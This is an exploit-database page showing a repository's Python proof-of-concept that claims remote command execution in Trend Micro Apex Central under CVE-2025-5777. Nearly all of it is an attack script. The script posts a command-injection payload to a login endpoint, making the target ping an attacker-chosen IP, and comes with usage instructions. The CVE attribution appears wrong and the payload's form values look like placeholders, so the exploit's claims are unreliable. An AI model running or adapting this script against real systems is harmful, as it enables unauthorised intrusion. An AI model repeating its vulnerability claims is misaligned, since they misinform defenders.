Exploit databaseDownload repository ZIP
GH-4d66d06a760f6dbada56c126998d1f84
shivshantp/cve-2025-5777-trendmicro-apexcentral-rce
Sources for CVE-2025-5777
16 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
shivshantp/cve-2025-5777-trendmicro-apexcentral-rceRevision d9523daccc0c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
cve-2025-5777-poc.py
Python · 1,657 bytesimport requests
import sys
def exploit_rce(target_url, command):
"""
Sends a crafted payload to the vulnerable Trend Micro Apex Central endpoint
to execute a remote command.
"""
vulnerable_endpoint = "/TrendMicro/EndpointBaseCamp/UI/Login.aspx"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0"
}
payload = f"__VIEWSTATEGENERATOR=ABC123&__EVENTVALIDATION=xyz&cmd=ping+-c+3+{command}"
try:
print(f"[+] Sending payload to {target_url}{vulnerable_endpoint}")
response = requests.post(target_url + vulnerable_endpoint, data=payload, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Payload sent successfully!")
print("[*] Response length:", len(response.text))
if "ping statistics" in response.text or "bytes from" in response.text:
print("[+] Target is likely vulnerable!")
else:
print("[-] Unexpected response. Check manually.")
else:
print(f"[-] Server responded with status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[!] Exploit failed: {e}")
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: python3 cve-2025-5777-poc.py <target_url> <your_ip_for_ping>")
print("Example: python3 cve-2025-5777-poc.py http://192.168.1.100 192.168.1.200")
sys.exit(1)
target = sys.argv[1].rstrip("/")
attacker_ip = sys.argv[2]
exploit_rce(target, attacker_ip)